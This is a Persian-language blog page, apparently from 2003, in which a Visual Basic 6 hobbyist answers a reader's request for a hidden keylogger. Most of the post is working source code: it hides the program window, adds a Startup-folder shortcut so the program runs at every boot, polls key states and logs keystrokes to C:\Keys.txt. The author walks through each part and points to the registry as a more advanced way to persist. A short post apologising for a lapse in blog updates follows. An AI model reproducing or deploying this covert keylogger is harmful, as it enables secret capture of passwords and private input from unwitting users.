جواب به سوال

خوب برای شروع دوباره یکی از سوالات رو جواب میدم:

آقای رضا سوالیو مطرح کردن :

یک خواهش دارم لطفا طرز نوشتن یک )keyloggerکه تمام کلید های زده شده در هر جای ویندوز را ذخیره میکند و به صورت مخفی کار میکند( را همرا با سورس و آموزش کامل تو این سایت بزار.ازت ممنون میشم مرسی منتظرم ها

این کار یکمی کار داره و یکم مشکلاتی داره ولی من برای نمونه کد رو به شما میدم و یه توضیحاتی هم میدم شما خودت کد ها رو میتونی به دلخواه تغییر بدی:

اول یه فرم بسازین و یه تایمر با Interval 70 (این خیلی مهمه و مشلاتی رو هم ایجاد میکنه) در اون قرار بدین و:

 

Private Declare Function GetKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer

Private Declare Function fCreateShellLink Lib "vb6stkit.dll" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArguments As String, ByVal fPrivate As Long, ByVal sParent As String) As Long

Dim LenFile As Integer, Lenstr As String

Private Sub PRINTK(KeyStr As String)

Open "C:\Keys.txt" For Binary As #1 ''Open File For Write Keys

Get #1, 1, Lenstr ''Get Text Of File

LenFile = Len(Replace(Lenstr, Chr(0), "")) + 1 ''Get Length Of File

Put #1, LenFile, KeyStr '''Write New Key In File

Close #1 '' Close The File

End Sub

Private Sub Form_Load()

On Error Resume Next

Me.Hide ''Unvisible Form

fCreateShellLink "StartUp", "Keys", App.Path & "\" & App.EXEName & ".Exe", "", True, "$(Programs)" '''Create ShortCut In Start Up Menu

Lenstr = String(10000, 0) '''Set Length Of 'Lenstr' For Put Text Of File To It

End Sub

Private Sub Timer1_Timer()

On Error Resume Next

If GetKeyState(vbKeyA) And &H8000 Then '''If Key :A Pressed Do Events

PRINTK "A"

ElseIf GetKeyState(vbKeyB) And &H8000 Then: PRINTK "B"

ElseIf GetKeyState(vbKeyC) And &H8000 Then: PRINTK "C"

ElseIf GetKeyState(vbKeyD) And &H8000 Then: PRINTK "D"

ElseIf GetKeyState(vbKeyE) And &H8000 Then: PRINTK "E"

ElseIf GetKeyState(vbKeyF) And &H8000 Then: PRINTK "F"

ElseIf GetKeyState(vbKeyG) And &H8000 Then: PRINTK "G"

ElseIf GetKeyState(vbKeyH) And &H8000 Then: PRINTK "H"

ElseIf GetKeyState(vbKeyI) And &H8000 Then: PRINTK "I"

ElseIf GetKeyState(vbKeyJ) And &H8000 Then: PRINTK "J"

ElseIf GetKeyState(vbKeyK) And &H8000 Then: PRINTK "K"

ElseIf GetKeyState(vbKeyL) And &H8000 Then: PRINTK "L"

ElseIf GetKeyState(vbKeyM) And &H8000 Then: PRINTK "M"

ElseIf GetKeyState(vbKeyN) And &H8000 Then: PRINTK "N"

ElseIf GetKeyState(vbKeyO) And &H8000 Then: PRINTK "O"

ElseIf GetKeyState(vbKeyP) And &H8000 Then: PRINTK "P"

ElseIf GetKeyState(vbKeyQ) And &H8000 Then: PRINTK "Q"

ElseIf GetKeyState(vbKeyR) And &H8000 Then: PRINTK "R"

ElseIf GetKeyState(vbKeyS) And &H8000 Then: PRINTK "S"

ElseIf GetKeyState(vbKeyT) And &H8000 Then: PRINTK "T"

ElseIf GetKeyState(vbKeyU) And &H8000 Then: PRINTK "U"

ElseIf GetKeyState(vbKeyV) And &H8000 Then: PRINTK "V"

ElseIf GetKeyState(vbKeyW) And &H8000 Then: PRINTK "W"

ElseIf GetKeyState(vbKeyX) And &H8000 Then: PRINTK "X"

ElseIf GetKeyState(vbKeyY) And &H8000 Then: PRINTK "Y"

ElseIf GetKeyState(vbKeyZ) And &H8000 Then: PRINTK "Z"

End If

End Sub

این کد فقط کلید های A تا Z رو چک میکنه که شما همنطور که میبینسن میتونین بقیه رو هم بش اضافه کنین

::

برای اینکه ما بفهمیم که چه کلیدی فشرده میشه از تابع ای پی آی GetKeyState

استفاده میکنیم.این تابع یه مقدار که نشون دهنده یکی از کلید های کیبرد هست رو از ما میگیره و به ما میگه که در اون

لحظه این کلید فشره شده یا نه.برای همین هم ما باید به تعداد کلید های صفحه کلید این تابع رو فرخوانی کنیم!

برای توضیحات از زمان لود شدن برنامه شروع میکنم

وقتی فرم لود میشه با استفاده از متد Me.Hide

برنامه رو به شکل مخفی در میاریم.بعد با استفاده از تابع fCreateShellLink که قبلا توضیحشو دادم

یه شورت کات از برنامه توی اسارت آپ میزاریم تا با بالا آمدن ویندوز برنامه ما هم باز بشه

البته اگه میخواهین برنامه شما پیشرفته تر بشه میتونین از رجیستر استفاده کنین که قبلا آموزششو دادم

بعدش هم به متغییری که بعدا برای خوندن فایل بش نیاز داریم 10000 تا کاراکتر خالی اختصاص میدیم

که اين مقدار بايد از طول فايل  C:\Keys.txt بيشتر باشه (در این مورد بعدا توضیح میدم)

بعدش هم به تعداد حروف کیبرد تابعی که گفتم رو فرخوانی میکنیم که من برای همیه کلید ها کد رو ننوشتم شما باید خودتون اضافه کنین.هر بار که کد چک میشه اگه کلید فشرده شده بود سابروتینی که برای نوشتن توی یه فایل نوشته بودیمش فراخانی میشه و مقدار مورد نیازش که همون کلید هست بش داده میشه

میریم سراغ سابروتین:

Private Sub PRINTK(KeyStr As String)

Open "C:\Keys.txt" For Binary As #1 ''Open File For Write Keys

Get #1, 1, Lenstr ''Get Text Of File

LenFile = Len(Replace(Lenstr, Chr(0), "")) + 1 ''Get Length Of File

Put #1, LenFile, KeyStr '''Write New Key In File

Close #1 '' Close The File

End Sub

ما برای نوشتن فایل C:\Keys.txt رو به صورت باینری(که بعدا توضیح میدم)

باز میکنیم.بعد با دستور Get محتویات این فایل رو داخل متغییر LenStr قرار میدیم

توی خط بعد هم تعداد کاراکتر های غیر صفر این متغییر رو بدست میاریم

این کارا رو ما برای این کردیم که بفمیم توی فایل مربوطه قبلا چند تا کاراکتر نوشته شده و ما بفهمیم کجا باید کلید جدید

رو داخل فایل بنویسیم که این مارو ما در خط بعد انجام میدیم

بعدش هم فایل رو میبندیم.فکر کنم همچی رو توضیح دادم-اگه مشکلی هست بگین تا توضیح بدم

فعلا بای!

  
نویسنده : ویبی مهرزاد ; ساعت ٩:۱٢ ‎ب.ظ روز جمعه ٥ دی ،۱۳۸٢
تگ ها :


دوباره ميسازمت وبلاگ...اگرچه با مطلب های خويش!

سلام؛؛

شرمنده ام که ۳۰-۴۰ روزی نتونستم اين وبلاگ رو آپدين کنم

دلايل زيادی داشت>درس ها زياد بودن(و هنوزم هستن!!).مطلب به درد بخور نداشتم(هنوزم ندارم!!) حالشو نداشتم(اما حالا دارم!)و....

-به هر حال اين مطلب رو نوشتم که بگم هنوز هم هستم و دوباره شروع ميکنم

-از کسانی که جواب سوالاشونو ندادم شرمنده ام به زودی جواب ميدم

-نظرتون راجع به اين يکی غالب چيه؟!

-بای

 

 

 

  
نویسنده : ویبی مهرزاد ; ساعت ٧:۳٢ ‎ب.ظ روز جمعه ٥ دی ،۱۳۸٢
تگ ها :